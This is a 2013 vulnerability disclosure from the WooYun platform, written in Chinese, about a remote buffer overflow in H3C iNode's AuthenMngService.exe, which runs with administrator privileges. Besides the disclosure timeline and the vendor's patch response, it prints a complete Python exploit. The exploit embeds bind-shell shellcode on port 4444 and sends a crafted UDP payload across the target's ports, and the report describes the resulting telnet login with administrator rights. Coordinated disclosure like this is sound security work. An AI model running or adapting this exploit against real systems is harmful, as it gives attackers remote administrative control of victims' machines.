漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2013-021657
漏洞标题:iNode远程缓冲区溢出以管理员权限执行任意代码0Day漏洞
相关厂商:杭州华三通信技术有限公司
漏洞作者: cssembly
提交时间:2013-04-12 10:26
修复时间:2013-07-11 10:26
公开时间:2013-07-11 10:26
漏洞类型:远程代码执行
危害等级:高
自评Rank:20
漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2013-04-12: 细节已通知厂商并且等待厂商处理中
2013-04-16: 厂商已经确认,细节仅向厂商公开
2013-04-19: 细节向第三方安全合作伙伴开放
2013-06-10: 细节向核心白帽子及相关领域专家公开
2013-06-20: 细节向普通白帽子公开
2013-06-30: 细节向实习白帽子公开
2013-07-11: 细节向公众公开
简要描述:
H3C iNode是杭州华三通信技术有限公司设计开发的一款用于用户认证上网的管理软件,该软件存在缓冲区溢出漏洞,攻击者可以远程发送攻击数据包,触发漏洞溢出,执行攻击shell。
详细说明:
该漏洞存在于iNode软件安装后的AuthenMngService.exe文件中,它以管理员权限运行,并开启了一个端口,该服务模块存在缓冲区溢出漏洞,攻击者可以远程发送UDP攻击数据包,触发漏洞溢出,执行攻击shell。该漏洞涉及的软件版本:
iNode PC 5.2 (E0402)
iNode PC 5.1 (E0304)
iNode PC 5.0 (E0105)
其他低版本网上无法直接下载,未测试验证。
漏洞位置在IDA反汇编结果的sub_459F10函数中,漏洞在0x45A235处的memcpy函数,位置如下:
拷贝的字节数有外部控制,因此传入恶意构造的数据,能够导致远程缓冲区溢出攻击
漏洞证明:
漏洞触发代码如下
poc.py如下:
import socket
import time
Exploit_addr = raw_input( "input attack ip addr : " )
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
#绑定4444端口shellcode,溢出成功后通过可telnet登陆目标主机
shellcode = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31"\
"\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52"\
"\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"\
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1"\
"\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52"\
"\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"\
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b"\
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b"\
"\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"\
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b"\
"\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3"\
"\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"\
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b"\
"\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b"\
"\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"\
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07"\
"\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54"\
"\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"\
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf"\
"\xe0\xff\xd5\x89\xc7\x31\xdb\x53\x68\x02"\
"\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68"\
"\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7"\
"\xe9\x38\xff\xff\xd5\x53\x53\x57\x68\x74"\
"\xec\x3b\xe1\xff\xd5\x57\x89\xc7\x68\x75"\
"\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00"\
"\x89\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59"\
"\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01"\
"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56"\
"\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68"\
"\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56"\
"\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5"\
"\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d"\
"\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"\
"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff"\
"\xd5"
exploit_data='\x00\x01'+'A'*14+'\xDA\xF4\x54\xA3\x57\xEA\xA2\x58\xFF\xA0\x61\xD7\xFB\xAF\x3C\x9C' + '\x01\x01\x01\x21\x08' + '\x22' * 7 + '\x01' + '\x90' * 335 + shellcode + '\xE9\x13\xFE\xFF\xFF' + 'A' * 7 + '\xEB\xF2\x90\x90\x71\x15\xFA\x7F' + '\x71\x15\xFA\x7F' + '\x90' * 15 + '\xEB\xE3'
for port in range( 1024 , 65536):
address = ( Exploit_addr , port )
s.sendto( exploit_data , address )
print 'port : ' , port
time.sleep(0.001)
s.close()
print 'Exploit End'
raw_input()
漏洞证明:
安装软件后,AuthenMngService.exe以管理员权限运行。开启攻击程序输入地址进行攻击
攻击程序运行结束后,可以看到程序并未退出,开启telnet准备连接目标
可以看到已经远程登录到目标系统,而被攻击程序并未退出。
输入calc.exe命令,启动计算器,可以看到calc.exe为管理员权限。
修复方案:
版权声明:转载请注明来源 cssembly@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:18
确认时间:2013-04-16 23:17
厂商回复:
最新状态:
2013-04-23:4月23日,经过CNVD协调,H3C(华三公司)已经发布了针对漏洞的解决方案,发布了新的inode版本。参考链接:http://kms.h3c.com/kms/kms/search/view.html?id=23553